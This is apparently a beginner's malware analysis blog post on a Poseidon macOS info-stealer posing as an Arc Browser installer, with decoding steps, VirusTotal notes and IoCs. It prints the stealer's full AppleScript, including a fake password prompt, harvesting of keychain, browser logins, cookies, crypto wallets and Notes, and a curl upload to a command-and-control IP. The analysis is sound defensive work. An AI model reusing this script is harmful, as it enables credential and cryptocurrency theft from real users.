I've been exploring the world of macOS malware analysis, and as a newbie I wanted some more samples to practice on. This prompted me to head over to Malware Bazaar and grab a Poseidon Info Stealer sample to take a look at, as some previous articles I had been going over had mentioned that in the past Poseidon has been misattributed as Atomic Stealer, so I wanted to make sure I knew what each of them looked like.
Initial Look
After downloading the sample I went ahead and extracted it using 7zip and the default password ("infected"). From there I mounted the .dmg file.
7z x c1693ee747e31541919f84dfa89e36ca5b74074044b181656d95d7f40af34a05.zip
hdiutil attach c1693ee747e31541919f84dfa89e36ca5b74074044b181656d95d7f40af34a05.dmg
Navigating to the freshly mounted volume the "file" command can be used to take a look at what's inside.
file Arc12645413
Arc12645413: Mach-O universal binary with 2 architectures: [x86_64:Mach-O 64-bit executable x86_64] [arm64:Mach-O 64-bit executable arm64]
Arc12645413 (for architecture x86_64): Mach-O 64-bit executable x86_64
Arc12645413 (for architecture arm64): Mach-O 64-bit executable arm64
As you can see this binary is Mach-O and contains 2 architectures, meaning it will run on Intel or M-series Macs. Physically navigating to the mount point in Finder shows that the name of the binary and icon are most likely meant to trick a user into thinking they're attempting to install the Arc Browser.
Time to take a look at the strings and see if there are any easy wins.
strings - Arc12645413 > ../../Users/<username>/Downloads/out
put.txt
[SNIP]
þÿÿhV
þÿÿhe
é~þÿÿ
6f7361736372697074202d6520277365742072656c6561736520746f20747275650a7365742066696c65677261626265727320746f20747275650a69662072656c65617365207468656e0a097472790a09092d2d74656c6c2077696e646f772031206f66206170706c69636174696f6e20225465726d696e616c2220746f207365742076697369626c6520746f2066616c73650a09656e64207472790a656e642069660a6f6e2066696c6573697a6572287061746873290a097365742066737a20746f20300a097472790a0909736574207468654974656d20746f2071756f74656420666f726d206f6620504f5349582070617468206f662070617468730a09097365742066737a20746f2028646f207368656c6c2073637269707420222f7573722f62696e2f6d646c73202d6e616d65206b4d444974656d465353697a65202d72617720222026207468654974656d290a09656e64207472790a0972657475726e2066737a0a656e642066696c6573697a65720a6f6e206d6b64697228736f6d654974656d290a097472790a09097365742066696c65506f7369785061746820746f2071756f74656420666f726d206f662028504f5349582070617468206f6620736f6d654974656d290a0909646f207368656c6c2073637269707420226d6b646972202d70202220262066696c65506f736978506174680a09656e6420
disown
pkill Terminal
allocator<T>::allocate(size_t n) 'n' exceeds maximum supported size
NSt3__118basic_stringstreamIcNS_11char_traitsIcEENS_9allocatorIcEEEE
NSt3__115basic_stringbufIcNS_11char_traitsIcEENS_9allocatorIcEEEE
ðÿÿÿÿÿÿÿð
ÿÿÿÿÿÿÿ
[SNIP]
Luckily for me, there's a giant blob of hex in the strings. Fingers crossed it isn't encrypted! I normally use CyberChef if I run into any blobs like this where I'm not sure if I'll need to do multiple operations on them (such as hex -> base64 -> string). In this instance though, it's just hex. The decoded string is the AppleScript that can be seen below.
osascript -e 'set release to true
set filegrabbers to true
if release then
try
--tell window 1 of application "Terminal" to set visible to false
end try
end if
on filesizer(paths)
set fsz to 0
try
set theItem to quoted form of POSIX path of paths
set fsz to (do shell script "/usr/bin/mdls -name kMDItemFSSize -raw " & theItem)
end try
return fsz
end filesizer
on mkdir(someItem)
try
set filePosixPath to quoted form of (POSIX path of someItem)
do shell script "mkdir -p " & filePosixPath
end
Digging Deeper
Let's focus on one of the binaries. It looks I may be missing something, so I want to take a closer look. This can be done by extracting them both from the universal binary, then running another extraction on one of the binaries (dealer's choice, I chose the arm64 one).
7z x Arc12645413.malware
7z x Arc12645413.arm64
This will produce a few files. Take a stroll through them to familiarize yourself then look inside of the "__TEXT__cstring" file.
It will contain the a large hex-encoded string which can be decoded in CyberChef. The output is shown below.
osascript -e 'set release to true
set filegrabbers to true
if release then
try
--tell window 1 of application "Terminal" to set visible to false
end try
end if
on filesizer(paths)
set fsz to 0
try
set theItem to quoted form of POSIX path of paths
set fsz to (do shell script "/usr/bin/mdls -name kMDItemFSSize -raw " & theItem)
end try
return fsz
end filesizer
on mkdir(someItem)
try
set filePosixPath to quoted form of (POSIX path of someItem)
do shell script "mkdir -p " & filePosixPath
end try
end mkdir
on FileName(filePath)
try
set reversedPath to (reverse of every character of filePath) as string
set trimmedPath to text 1 thru ((offset of "/" in reversedPath) - 1) of reversedPath
set finalPath to (reverse of every character of trimmedPath) as string
return finalPath
end try
end FileName
on BeforeFileName(filePath)
try
set lastSlash to offset of "/" in (reverse of every character of filePath) as string
set trimmedPath to text 1 thru -(lastSlash + 1) of filePath
return trimmedPath
end try
end BeforeFileName
on writeText(textToWrite, filePath)
try
set folderPath to BeforeFileName(filePath)
mkdir(folderPath)
set fileRef to (open for access filePath with write permission)
write textToWrite to fileRef starting at eof
close access fileRef
end try
end writeText
on readwrite(path_to_file, path_as_save)
try
set fileContent to read path_to_file
set folderPath to BeforeFileName(path_as_save)
mkdir(folderPath)
do shell script "cat " & quoted form of path_to_file & " > " & quoted form of path_as_save
end try
end readwrite
on isDirectory(someItem)
try
set filePosixPath to quoted form of (POSIX path of someItem)
set fileType to (do shell script "file -b " & filePosixPath)
if fileType ends with "directory" then
return true
end if
return false
end try
end isDirectory
on GrabFolderLimit(sourceFolder, destinationFolder)
try
set bankSize to 0
set exceptionsList to {".DS_Store", "Partitions", "Code Cache", "Cache", "market-history-cache.json", "journals", "Previews"}
set fileList to list folder sourceFolder without invisibles
mkdir(destinationFolder)
repeat with currentItem in fileList
if currentItem is not in exceptionsList then
set itemPath to sourceFolder & "/" & currentItem
set savePath to destinationFolder & "/" & currentItem
if isDirectory(itemPath) then
GrabFolderLimit(itemPath, savePath)
else
set fsz to filesizer(itemPath)
set bankSize to bankSize + fsz
if bankSize < 10 * 1024 * 1024 then
readwrite(itemPath, savePath)
end if
end if
end if
end repeat
end try
end GrabFolderLimit
on GrabFolder(sourceFolder, destinationFolder)
try
set exceptionsList to {".DS_Store", "Partitions", "Code Cache", "Cache", "market-history-cache.json", "journals", "Previews"}
set fileList to list folder sourceFolder without invisibles
mkdir(destinationFolder)
repeat with currentItem in fileList
if currentItem is not in exceptionsList then
set itemPath to sourceFolder & "/" & currentItem
set savePath to destinationFolder & "/" & currentItem
if isDirectory(itemPath) then
GrabFolder(itemPath, savePath)
else
readwrite(itemPath, savePath)
end if
end if
end repeat
end try
end GrabFolder
on GetUUID(pather, searchString)
try
set theFile to POSIX file pather
set fileContents to read theFile
set startPos to offset of searchString in fileContents
if startPos is 0 then
return "not found"
end if
set uuidStart to startPos + (length of searchString)
set uuid to text uuidStart thru (uuidStart + 55) of fileContents
set endpos to offset of "\\" in uuid
if endpos is 0 then
return "not found"
end if
set realuuid to text uuidStart thru (uuidStart + endpos - 2) of fileContents
return realuuid
on error
return "not found"
end try
end GetUUID
on firewallets(firepath, writemind, profile)
try
set fire_wallets to {{"MetaMask", "webextension@metamask.io\\\":\\\""}}
repeat with wallet in fire_wallets
set uuid to GetUUID(firepath & "/prefs.js", item 2 of wallet)
if uuid is not "not found" then
set walkpath to firepath & "/storage/default/"
set fileList to list folder walkpath without invisibles
repeat with currentItem in fileList
if currentItem contains uuid then
set fwallet to walkpath & currentItem & "/idb/"
set fileList_wallet to list folder fwallet without invisibles
repeat with currentItem_wallet in fileList_wallet
if isDirectory(fwallet & currentItem_wallet) then
GrabFolder(fwallet & currentItem_wallet, writemind & "ffwallets/" & item 1 of wallet & "_" & profile & "/")
end if
end repeat
end if
end repeat
end if
end repeat
end try
end firewallets
on parseFF(firefox, writemind)
try
set myFiles to {"/cookies.sqlite", "/formhistory.sqlite", "/key4.db", "/logins.json"}
set fileList to list folder firefox without invisibles
repeat with currentItem in fileList
firewallets(firefox & currentItem, writemind, currentItem)
set fpath to writemind & "ff/" & currentItem
set readpath to firefox & currentItem
repeat with FFile in myFiles
readwrite(readpath & FFile, fpath & FFile)
end repeat
end repeat
end try
end parseFF
on checkvalid(username, password_entered)
try
set result to do shell script "dscl . authonly " & quoted form of username & space & quoted form of password_entered
if result is not equal to "" then
return false
else
return true
end if
on error
return false
end try
end checkvalid
on getpwd(username, writemind)
try
if checkvalid(username, "") then
set result to do shell script "security 2>&1 > /dev/null find-generic-password -ga \"Chrome\" | awk \"{print $2}\""
writeText(result as string, writemind & "masterpass-chrome")
else
repeat
set result to display dialog "Required Application Helper. Please enter password for continue." default answer "" with icon caution buttons {"Continue"} default button "Continue" giving up after 150 with title "Application wants to install helper" with hidden answer
set password_entered to text returned of result
if checkvalid(username, password_entered) then
writeText(password_entered, writemind & "pwd")
return password_entered
end if
end repeat
end if
end try
return ""
end getpwd
on grabPlugins(paths, savePath, pluginList, index)
try
set fileList to list folder paths without invisibles
repeat with PFile in fileList
repeat with Plugin in pluginList
if (PFile contains Plugin) then
set newpath to paths & PFile
set newsavepath to savePath & "/" & Plugin
if index then
set newsavepath to newsavepath & "/IndexedDB/"
end if
GrabFolder(newpath, newsavepath)
end if
end repeat
end repeat
end try
end grabPlugins
on chromium(writemind, chromium_map)
set pluginList to {"keenhcnmdmjjhincpilijphpiohdppno", "hbbgbephgojikajhfbomhlmmollphcad", "cjmkndjhnagcfbpiemnkdpomccnjblmj", "dhgnlgphgchebgoemcjekedjjbifijid", "hifafgmccdpekplomjjkcfgodnhcellj", "kamfleanhcmjelnhaeljonilnmjpkcjc", "jnldfbidonfeldmalbflbmlebbipcnle", "fdcnegogpncmfejlfnffnofpngdiejii", "klnaejjgbibmhlephnhpmaofohgkpgkd", "pdadjkfkgcafgbceimcpbkalnfnepbnk", "kjjebdkfeagdoogagbhepmbimaphnfln", "ldinpeekobnhjjdofggfgjlcehhmanlj", "dkdedlpgdmmkkfjabffeganieamfklkm", "bcopgchhojmggmffilplmbdicgaihlkp", "kpfchfdkjhcoekhdldggegebfakaaiog", "idnnbdplmphpflfnlkomgpfbpcgelopg", "mlhakagmgkmonhdonhkpjeebfphligng", "bipdhagncpgaccgdbddmbpcabgjikfkn", "gcbjmdjijjpffkpbgdkaojpmaninaion", "nhnkbkgjikgcigadomkphalanndcapjk", "bhhhlbepdkbapadjdnnojkbgioiodbic", "hoighigmnhgkkdaenafgnefkcmipfjon", "klghhnkeealcohjjanjjdaeeggmfmlpl", "nkbihfbeogaeaoehlefnkodbefgpgknn", "fhbohimaelbohpjbbldcngcnapndodjp", "ebfidpplhabeedpnhjnobghokpiioolj", "emeeapjkbcbpbpgaagfchmcgglmebnen", "fldfpgipfncgndfolcbkdeeknbbbnhcc", "penjlddjkjgpnkllboccdgccekpkcbin", "fhilaheimglignddkjgofkcbgekhenbh", "hmeobnfnfcmdkdcmlblgagmfpfboieaf", "cihmoadaighcejopammfbmddcmdekcje", "lodccjjbdhfakaekdiahmedfbieldgik", "omaabbefbmiijedngplfjmnooppbclkk", "cjelfplplebdjjenllpjcblmjkfcffne", "jnlgamecbpmbajjfhmmmlhejkemejdma", "fpkhgmpbidmiogeglndfbkegfdlnajnf", "bifidjkcdpgfnlbcjpdkdcnbiooooblg", "amkmjjmmflddogmhpjloimipbofnfjih", "flpiciilemghbmfalicajoolhkkenfel", "hcflpincpppdclinealmandijcmnkbgn", "aeachknmefphepccionboohckonoeemg", "nlobpakggmbcgdbpjpnagmdbdhdhgphk", "momakdpclmaphlamgjcndbgfckjfpemp", "mnfifefkajgofkcjkemidiaecocnkjeh", "fnnegphlobjdpkhecapkijjdkgcjhkib", "ehjiblpccbknkgimiflboggcffmpphhp", "ilhaljfiglknggcoegeknjghdgampffk", "pgiaagfkgcbnmiiolekcfmljdagdhlcm", "fnjhmkhhmkbjkkabndcnnogagogbneec", "bfnaelmomeimhlpmgjnjophhpkkoljpa", "imlcamfeniaidioeflifonfjeeppblda", "mdjmfdffdcmnoblignmgpommbefadffd", "ooiepdgjjnhcmlaobfinbomgebfgablh", "pcndjhkinnkaohffealmlmhaepkpmgkb", "ppdadbejkmjnefldpcdjhnkpbjkikoip", "cgeeodpfagjceefieflmdfphplkenlfk", "dlcobpjiigpikoobohmabehhmhfoodbb", "jiidiaalihmmhddjgbnbgdfflelocpak", "bocpokimicclpaiekenaeelehdjllofo", "pocmplpaccanhmnllbbkpgfliimjljgo", "cphhlgmgameodnhkjdmkpanlelnlohao", "mcohilncbfahbmgdjkbpemcciiolgcge", "bopcbmipnjdcdfflfgjdgdjejmgpoaab", "khpkpbbcccdmmclmpigdgddabeilkdpd", "ejjladinnckdgjemekebdpeokbikhfci", "phkbamefinggmakgklpkljjmgibohnba", "epapihdplajcdnnkdeiahlgigofloibg", "hpclkefagolihohboafpheddmmgdffjm", "cjookpbkjnpkmknedggeecikaponcalb", "cpmkedoipcpimgecpmgpldfpohjplkpp", "modjfdjcodmehnpccdjngmdfajggaoeh", "ibnejdfjmmkpcnlpebklmnkoeoihofec", "afbcbjpbpfadlkmhmclhkeeodmamcflc", "kncchdigobghenbbaddojjnnaogfppfj", "efbglgofoippbgcjepnhiblaibcnclgk", "mcbigmjiafegjnnogedioegffbooigli", "fccgmnglbhajioalokbcidhcaikhlcpm", "hnhobjmcibchnmglfbldbfabcgaknlkj", "apnehcjmnengpnmccpaibjmhhoadaico", "enabgbdfcbaehmbigakijjabdpdnimlg", "mgffkfbidihjpoaomajlbgchddlicgpn", "fopmedgnkfpebgllppeddmmochcookhc", "jojhfeoedkpkglbfimdfabpdfjaoolaf", "ammjlinfekkoockogfhdkgcohjlbhmff", "abkahkcbhngaebpcgfmhkoioedceoigp", "dcbjpgbkjoomeenajdabiicabjljlnfp", "gkeelndblnomfmjnophbhfhcjbcnemka", "pnndplcbkakcplkjnolgbkdgjikjednm", "copjnifcecdedocejpaapepagaodgpbh", "hgbeiipamcgbdjhfflifkgehomnmglgk", "mkchoaaiifodcflmbaphdgeidocajadp", "ellkdbaphhldpeajbepobaecooaoafpg", "mdnaglckomeedfbogeajfajofmfgpoae", "nknhiehlklippafakaeklbeglecifhad", "ckklhkaabbmdjkahiaaplikpdddkenic", "fmblappgoiilbgafhjklehhfifbdocee", "nphplpgoakhhjchkkhmiggakijnkhfnd", "cnmamaachppnkjgnildpdmkaakejnhae", "fijngjgcjhjmmpcmkeiomlglpeiijkld", "niiaamnmgebpeejeemoifgdndgeaekhe", "odpnjmimokcmjgojhnhfcnalnegdjmdn", "lbjapbcmmceacocpimbpbidpgmlmoaao", "hnfanknocfeofbddgcijnmhnfnkdnaad", "hpglfhgfnhbgpjdenjgmdgoeiappafln", "egjidjbpglichdcondbcbdnbeeppgdph", "ibljocddagjghmlpgihahamcghfggcjc", "gkodhkbmiflnmkipcmlhhgadebbeijhh", "dbgnhckhnppddckangcjbkjnlddbjkna", "mfhbebgoclkghebffdldpobeajmbecfk", "nlbmnnijcnlegkjjpcfjclmcfggfefdm", "nlgbhdfgdhgbiamfdfmbikcdghidoadd", "acmacodkjbdgmoleebolmdjonilkdbch", "agoakfejjabomempkjlepdflaleeobhb", "dgiehkgfknklegdhekgeabnhgfjhbajd", "onhogfjeacnfoofkfgppdlbmlmnplgbn", "kkpehldckknjffeakihjajcjccmcjflh", "jaooiolkmfcmloonphpiiogkfckgciom", "ojggmchlghnjlapmfbnjholfjkiidbch", "pmmnimefaichbcnbndcfpaagbepnjaig", "oiohdnannmknmdlddkdejbmplhbdcbee", "aiifbnbfobpmeekipheeijimdpnlpgpp", "aholpfdialjgjfhomihkjbmgjidlcdno", "anokgmphncpekkhclmingpimjmcooifb", "kkpllkodjeloidieedojogacfhpaihoh", "iokeahhehimjnekafflcihljlcjccdbe", "ifckdpamphokdglkkdomedpdegcjhjdp", "loinekcabhlmhjjbocijdoimmejangoa", "fcfcfllfndlomdhbehjjcoimbgofdncg", "ifclboecfhkjbpmhgehodcjpciihhmif", "dmkamcknogkgcdfhhbddcghachkejeap", "ookjlbkiijinhpmnjffcofjonbfbgaoc", "oafedfoadhdjjcipmcbecikgokpaphjk", "mapbhaebnddapnmifbbkgeedkeplgjmf", "cmndjbecilbocjfkibfbifhngkdmjgog", "kpfopkelmapcoipemfendmdcghnegimn", "lgmpcpglpngdoalbgeoldeajfclnhafa", "ppbibelpcjmhbdihakflkdcoccbgbkpo", "ffnbelfdoeiohenkjibnmadjiehjhajb", "opcgpfmipidbgpenhmajoajpbobppdil", "lakggbcodlaclcbbbepmkpdhbcomcgkd", "kgdijkcfiglijhaglibaidbipiejjfdp", "hdkobeeifhdplocklknbnejdelgagbao", "lnnnmfcpbkafcpgdilckhmhbkkbpkmid", "nbdhibgjnjpnkajaghbffjbkcgljfgdi", "kmhcihpebfmpgmihbkipmjlmmioameka", "kmphdnilpmdejikjdnlbcnmnabepfgkh", "nngceckbapebfimnlniiiahkandclblb"}
set custom_plugin_list to {""}
set chromiumFiles to {"/Network/Cookies", "/Cookies", "/Web Data", "/Login Data", "/Local Extension Settings/", "/IndexedDB/"}
repeat with chromium in chromium_map
set savePath to writemind & "Chromium/" & item 1 of chromium & "_"
try
set fileList to list folder item 2 of chromium without invisibles
repeat with currentItem in fileList
if ((currentItem as string) is equal to "Default") or ((currentItem as string) contains "Profile") then
repeat with CFile in chromiumFiles
set readpath to (item 2 of chromium & currentItem & CFile)
if ((CFile as string) is equal to "/Network/Cookies") then
set CFile to "/Cookies"
end if
if ((CFile as string) is equal to "/Local Extension Settings/") then
grabPlugins(readpath, savePath & currentItem, pluginList, false)
grabPlugins(readpath, writemind & "deskwallets/", custom_plugin_list, false)
else if (CFile as string) is equal to "/IndexedDB/" then
grabPlugins(readpath, savePath & currentItem, pluginList, true)
else
set writepath to savePath & currentItem & CFile
readwrite(readpath, writepath)
end if
end repeat
end if
end repeat
end try
end repeat
end chromium
on deskwallets(writemind, deskwals)
repeat with deskwal in deskwals
try
GrabFolder(item 2 of deskwal, writemind & item 1 of deskwal)
end try
end repeat
end deskwallets
on filegrabber()
try
set destinationFolderPath to POSIX file "/tmp/xuyna/FileGrabber/"
set photosPath to POSIX file "/tmp/photos"
mkdir(photosPath)
mkdir(destinationFolderPath)
set extensionsList to {"txt", "rtf", "key", "keys", "png", "jpg", "jpeg", "wallet", "doc", "docx", "kdbx", "pdf"}
set bankSize to 0
tell application "Finder"
try
set safariFolderPath to (path to home folder as text) & "Library:Cookies:"
duplicate file (safariFolderPath & "Cookies.binarycookies") to folder destinationFolderPath with replacing
set name of result to "saf1"
end try
try
set safariFolder to ((path to library folder from user domain as text) & "Containers:com.apple.Safari:Data:Library:Cookies:")
try
duplicate file "Cookies.binarycookies" of folder safariFolder to folder destinationFolderPath with replacing
end try
set notesFolderPath to (path to home folder as text) & "Library:Group Containers:group.com.apple.notes:"
set notesAccounts to folder (notesFolderPath & "Accounts:")
try
--duplicate notesAccounts to photosPath with replacing
end try
try
set notesFolder to folder notesFolderPath
set notesFiles to {file "NoteStore.sqlite", file "NoteStore.sqlite-shm", file "NoteStore.sqlite-wal"} of notesFolder
repeat with aFile in notesFiles
try
duplicate aFile to folder destinationFolderPath with replacing
end try
end repeat
end try
end try
try
set desktopFiles to every file of desktop
set documentsFiles to every file of folder "Documents" of (path to home folder)
set downloadsFiles to every file of folder "Downloads" of (path to home folder)
repeat with aFile in (desktopFiles & documentsFiles & downloadsFiles)
set fileExtension to name extension of aFile
if fileExtension is in extensionsList then
set filesize to size of aFile
if (bankSize + filesize) < 10 * 1024 * 1024 then
try
duplicate aFile to folder destinationFolderPath with replacing
set bankSize to bankSize + filesize
end try
else
exit repeat
end if
end if
end repeat
end try
end tell
end try
end filegrabber
on send_data(attempt)
try
set result_send to (do shell script "curl -X POST -H \"uuid: 399122bdb9844f7d934631745e22bd06\" -H \"user: H1N1_Group\" -H \"buildid: id777\" --data-binary @/tmp/out.zip http://79.137.192.4/p2p")
on error
if attempt < 10 then
delay 60
send_data(attempt + 1)
end if
end try
end send_data
on VPN(writemind, vpn_dirs)
end VPN
set username to (system attribute "USER")
set profile to "/Users/" & username
set writemind to "/tmp/xuyna/"
try
set result to (do shell script "system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType")
writeText(result, writemind & "user")
end try
set library to profile & "/Library/Application Support/"
set password_entered to getpwd(username, writemind)
delay 0.01
set chromiumMap to {{"Chrome", library & "Google/Chrome/"}, {"Brave", library & "BraveSoftware/Brave-Browser/"}, {"Edge", library & "Microsoft Edge/"}, {"Vivaldi", library & "Vivaldi/"}, {"Opera", library & "com.operasoftware.Opera/"}, {"OperaGX", library & "com.operasoftware.OperaGX/"}, {"Chrome Beta", library & "Google/Chrome Beta/"}, {"Chrome Canary", library & "Google/Chrome Canary"}, {"Chromium", library & "Chromium/"}, {"Chrome Dev", library & "Google/Chrome Dev/"}}
set walletMap to {{"deskwallets/Electrum", profile & "/.electrum/wallets/"}, {"deskwallets/Coinomi", library & "Coinomi/wallets/"}, {"deskwallets/Exodus", library & "Exodus/"}, {"deskwallets/Atomic", library & "atomic/Local Storage/leveldb/"}, {"deskwallets/Wasabi", profile & "/.walletwasabi/client/Wallets/"}, {"deskwallets/Ledger_Live", library & "Ledger Live/"}, {"deskwallets/Monero", profile & "/Monero/wallets/"}, {"deskwallets/Bitcoin_Core", library & "Bitcoin/wallets/"}, {"deskwallets/Litecoin_Core", library & "Litecoin/wallets/"}, {"deskwallets/Dash_Core", library & "DashCore/wallets/"}, {"deskwallets/Electrum_LTC", profile & "/.electrum-ltc/wallets/"}, {"deskwallets/Electron_Cash", profile & "/.electron-cash/wallets/"}, {"deskwallets/Guarda", library & "Guarda/"}, {"deskwallets/Dogecoin_Core", library & "Dogecoin/wallets/"}, {"deskwallets/Trezor_Suite", library & "@trezor/suite-desktop/"}}
readwrite(library & "Binance/app-store.json", writemind & "deskwallets/Binance/app-store.json")
readwrite(library & "@tonkeeper/desktop/config.json", "deskwallets/TonKeeper/config.json")
readwrite(profile & "/Library/Keychains/login.keychain-db", writemind & "keychain")
if release then
readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite", writemind & "FileGrabber/NoteStore.sqlite")
readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal", writemind & "FileGrabber/NoteStore.sqlite-wal")
readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-shm", writemind & "FileGrabber/NoteStore.sqlite-shm")
readwrite(profile & "/Library/Containers/com.apple.Safari/Data/Library/Cookies/Cookies.binarycookies", writemind & "FileGrabber/Cookies.binarycookies")
readwrite(profile & "/Library/Cookies/Cookies.binarycookies", writemind & "FileGrabber/saf1")
end if
if filegrabbers then
filegrabber()
end if
writeText(username, writemind & "username")
set ff_paths to {library & "Firefox/Profiles/", library & "Waterfox/Profiles/", library & "Pale Moon/Profiles/"}
repeat with firefox in ff_paths
try
parseFF(firefox, writemind)
end try
end repeat
chromium(writemind, chromiumMap)
deskwallets(writemind, walletMap)
--GrabFolderLimit("/tmp/photos/", writemind & "FileGrabber/NotesPhoto/")
--set vpns to {{"OpenVPN", library & "OpenVPN Connect/profiles/"}}
--readwrite("/Library/Application Support/Fortinet/FortiClient/conf/vpn.plist", writemind & "vpn/FortiVPN/vpn.plist")
do shell script "ditto -c -k --sequesterRsrc " & writemind & " /tmp/out.zip"
send_data(0)
do shell script "rm -r " & writemind
do shell script "rm -r /tmp/photos"
do shell script "rm /tmp/out.zip"
' &
So there's a lot to unpack here. Let's first focus on the "send_data" function.
on send_data(attempt)
try
set result_send to (do shell script "curl -X POST -H \"uuid: 399122bdb9844f7d934631745e22bd06\" -H \"user: H1N1_Group\" -H \"buildid: id777\" --data-binary @/tmp/out.zip http://79.137.192.4/p2p")
on error
if attempt < 10 then
delay 60
send_data(attempt + 1)
end if
end try
end send_data
This function is used to send a zipped archive of the stolen data to the Poseidon C2 server. As you can see, it contains the UUID, user, buildid, and the URL for the C2 server (along with the proper endpoint).
do shell script "ditto -c -k --sequesterRsrc " & writemind & " /tmp/out.zip"
send_data(0)
do shell script "rm -r " & writemind
do shell script "rm -r /tmp/photos"
do shell script "rm /tmp/out.zip"
It's called at the end of the script's execution to exfiltrate all of the data. After which the directories and files that were created by the script are deleted using the "rm" command.
I can see how Atomic and Poseidon can be confused with each other based on their functionality though, as they both have a lot of the same traits. The above script is extremely human-readable and I'd say most people could parse through it to see what it's attempting to do. They both will steal keychain passwords, Apple notes, files, VPN information, crypto wallets (both desktop wallets and extension-based wallets), and then once it's all finished it gathers the data up, sends it off, and erases its tracks. It doesn't seem to have any persistence contained within the script itself, but the binary would need to be run to fully confirm this.
Open Source Info
The URL that was contained within the script seems to be down as I nor URLScan could reach it. Checking it out with Shodan looks to confirm Poseidon (even though there are sadly zero similar results to compare it to when search for the string or favicon hash).
Placing the universal binary in VirusTotal yields some great results.
Tons of detections, 34/65, some solid Sigma rules are hitting on it, but scrolling down it can also be seen that a few security vendors themselves have the binary misclassified. Some of them don't have it identified as anything other than a "stealer".
And last but not least a short note on uploading the .dmg versus the binary itself to sandboxes like VirusTotal. From what I've seen so far, the detections will ALWAYS be lower for the .dmg. This is due to the fact that a .dmg is used to store compressed software installers. This is also apparent from checking the strings. Some sandboxes and security companies handle these fine -- they mount them and auto-execute the binary inside of them. Others don't though, leading to less detections. This can further be exacerbated by the fact that both Poseidon and Atomic utilize the tactic to prompt the users for their passwords via AppleScript, which means if a certain sandbox doesn't have specific capabilities, it is less likely to observe the full execution of the script.
IoCs
.dmg
Name | Arc12645413.dmg |
SHA256 | c1693ee747e31541919f84dfa89e36ca5b74074044b181656d95d7f40af34a05 |
MD5 | 02a0407bea1bea006c35c0aa178a573b |
binary
Name | Arc12645413 |
SHA256 | 7276c6c6bff30cc9ddd97f4cd3e33102017281ffa7e164819dddc0beb83bafcf |
MD5 | 8b675b55d9b26ffeba29d6219cd8e353 |
UUID | 399122bdb9844f7d934631745e22bd06 |
User | H1N1_Group |
Build ID | id777 |
Network
URL | http[://]79[.]137.192[.]4/p2p |
Exfiltrated File | out.zip |